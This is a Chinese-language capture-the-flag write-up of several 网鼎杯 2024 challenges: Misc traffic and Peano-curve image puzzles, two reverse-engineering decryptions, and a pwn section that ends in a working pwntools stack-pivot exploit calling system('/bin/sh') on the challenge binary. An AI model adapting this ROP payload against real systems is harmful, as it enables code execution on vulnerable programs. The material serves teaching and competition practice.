【DOING】网鼎杯2024部分赛题


网鼎杯 2024

好抽象的比赛(👍)充满了遗憾

写出来的没写出来都好好整理整理思路

Misc

Misc1

某单位网络遭到非法的攻击,安全人员对流量调查取证之后保存了关键证据,发现人员的定位信息存在泄露,请对其进行分析。flag为用户位置信息进行32位md5哈希值

MME.cap

image-20241031203014785

这里提到了四种协议先搜索DIAMETER

image-20241031190855284

  • DIAMETER协议主要为应用程序提供认证、鉴权、计费框架,即AAA,并支持本地AAA和漫游场景下的AAA。

    搜索 DIAMETER Protocol MME

image-20241031193637293

进入发现有三个,挨着看看

  • E-UTRAN-Cell-Global-Identity AVP ( 1602 )

    The E-UTRAN-Cell-Global-Identity AVP contains the E-UTRAN Cell Global Identification of the user which identifies the cell the user equipment is registered.

  • Tracking-Area-Identity AVP ( 1603 )
    The Tracking-Area-Identity AVP contains the Tracking Area Identity of the user which identifies the tracking area where the user is located.

  • Age-Of-Location-Information AVP ( 1611 )

    The Age-Of-Location-Information AVP contains the the elapsed time in minutes since the last network contact of the user equipment.

image-20241031201647798

MISC4

1

??? > 摘自 师傅博客

可能是按照皮亚诺曲线对附件中的图像重排像素。

image-20241031203800279

如上3x3为单位的皮亚诺曲线迭代5次后正好为729x729,且皮亚诺曲线的走向与附件图像中相近颜色像素的排布类似,说明附件图像很可能是将原图像中的像素按皮亚诺曲线重新排列得到的(也许需要考虑皮亚诺曲线的起点和方向)。

关于3x3为单位的皮亚诺曲线的皮亚诺坐标与自然数秩转换的算法可以参考这里:

https://people.csail.mit.edu/jaffer/Geometry/PSFC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def Peano(k, x, y):
if k == 0:
return 1
lens = 3 ** k
cnt = (3 ** (k * 2)) // 9

if x < lens // 3:
if y < lens // 3:
return Peano(k - 1, x, y)
elif y < lens * 2 // 3:
return cnt + Peano(k - 1, lens // 3 - 1 - x, y - lens // 3)
else:
return cnt * 2 + Peano(k - 1, x, y - lens // 3 * 2)
elif x < lens * 2 // 3:
if y < lens // 3:
return cnt * 5 + Peano(k - 1, x - lens // 3, lens // 3 - 1 - y)
elif y < lens * 2 // 3:
return cnt * 4 + Peano(k - 1, lens * 2 // 3 - 1 - x, lens * 2 // 3 - 1 - y)
else:
return cnt * 3 + Peano(k - 1, x - lens // 3, lens - 1 - y)
else:
if y < lens // 3:
return cnt * 6 + Peano(k - 1, x - lens * 2 // 3, y)
elif y < lens * 2 // 3:
return cnt * 7 + Peano(k - 1, lens - 1 - x, y - lens // 3)
else:
return cnt * 8 + Peano(k - 1, x - lens * 2 // 3, y - lens * 2 // 3)


import itertools, numpy as np
from PIL import Image

c = np.array(Image.open('chal.png'))[::-1, :, :]
d = {Peano(6, x, y): (y, x) for x, y in itertools.product(range(729), repeat=2)}
e = np.array([c[d[i+1]] for i in range(729*729)]).reshape(729, 729, 3)
Image.fromarray(e).show()

Reverse

Re01

apk文件,用jadx打开,没啥有用的,发现程序调用Native

直接拿出来so文件,扔IDA里分析

唉,没看出来是SM4,硬逆,没写对程序,一直没弄出来(急死了)

比赛完知道了,一看密钥、两个表、密文,唉,出了

1
2
3
4
5
6
7
enflag[] =[
0x01, 0x0A, 0x26, 0xF5, 0xA8, 0x75, 0x73, 0xE2, 0xA7, 0xD1,
0x1A, 0xAD, 0xC0, 0x1B, 0x71, 0xA6, 0x5F, 0x42, 0x70, 0x1C,
0x48, 0x26, 0x17, 0xF9, 0xFB, 0xAE, 0x8B, 0x7F, 0x46, 0xFC,
0xF9, 0xBF, 0x2F, 0x42, 0x42, 0x98, 0x4E, 0x84, 0xFC, 0x6C,
0x08, 0xB0, 0xA3, 0xA0, 0xCA, 0x91, 0xEB, 0xD7]

image-20241031212812512

image-20241031212341927

Revers02

四个部分分别加密,分别是乘法、异或、换表Base64、AES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
s2 = [0xc6,0x70,0xcc,0x66,0x68,0x60,0xc2,0x70]
for i in range(8):
print(chr(s2[i]//2),end='')
print("")
xorr = [0x3B,0x9,0x14,0x45,0x79,0x56,0x13,0x5c]
key2='XorrLord'
for i in range(8):
print(chr(xorr[i]^ord(key2[i])),end='')
print("")
key3 = '31a64362'
print(key3)

key4 = 'AesMasterAesMast'
from Crypto.Cipher import AES
import binascii

def decrypt_aes():
key = b"AesMasterAesMast"
enflag4 = bytes([0x8C, 0xCD, 0x9E, 0x05, 0x11, 0xE2, 0xA0, 0x1D,
0xB0, 0xCD, 0x63, 0x7A, 0xB1, 0x37, 0x8A, 0x10])

cipher = AES.new(key, AES.MODE_ECB)

decrypted_flag = cipher.decrypt(enflag4)

decrypted_hex = binascii.hexlify(decrypted_flag).decode()
return decrypted_hex

if __name__ == "__main__":
decrypted_flag = decrypt_aes()
print("Decrypted Flag (Hex):", decrypted_flag)

print("22d648f7")
#c8f340a8
#cff759a8
#31a64362
#Decrypted Flag (Hex): 32326436343866370808080808080808
#22d648f7

ps:别抄错数据。。

Pwn

pwn1

听说是道rust的re:

椰奶✌恢复的一部分符号:
img

pwn2

似乎是道栈迁移——

image-20241031215506281

32位、无地址随机化、不可执行、无Canary保护、延迟绑定

主函数判断账号密码(明文判断)接着进入vuln函数:

image-20241031220425456

只溢出了8个字节,刚好覆盖ebp和ret

翻书:stack pivoting

攻击者控制ESP和EBP值,通过伪造栈上的返回地址进而控制执行流。可用于NX或者处理占空间过小的问题

构造ROP链

好,ROP

之前利用栈溢出,只需将返回地址覆盖为jmp esp指令的地址,在其后加shellcode;如果引入NX保护,数据所在内存也不可执行,注入新代码不可行,那么就复用程序中已有的代码;而一个一个调用libc(或别的库)的函数,线性执行,且只能使用程序text段和libc中已有的函数,通过移除这些特定的函数就可以限制攻击,所以引入新的攻击技术——返回导向编程(ROP)

使用:扫描文件,提取出可用的gadget片段(通常以ret结尾),将gadget根据所需的功能进行组合

image-20241031223435068

很好的gift👍

image-20241031224636374

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
p = process('./short')
leave_ret = 0x08048555
ret = 0x080483fa
system = 0x080485e6
bin_sh = 0x0804A038
p.sendlineafter('Enter your username:','admin')
p.sendlineafter('Enter your password:','admin123')
p.recvuntil(b'0x')

leak_int = int(p.recv(8),16)
print(hex(leak_int))

p.recvuntil(b"msg:\n")

payload = (b"aaaa"+p32(system)+p32(0)+p32(bin_sh)).ljust(0x50,b'\x00')+p32(leak_int)+p32(leave_ret)
p.sendline(payload)
p.interactive()

文章作者: W3nL0u
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 W3nL0u !
  目录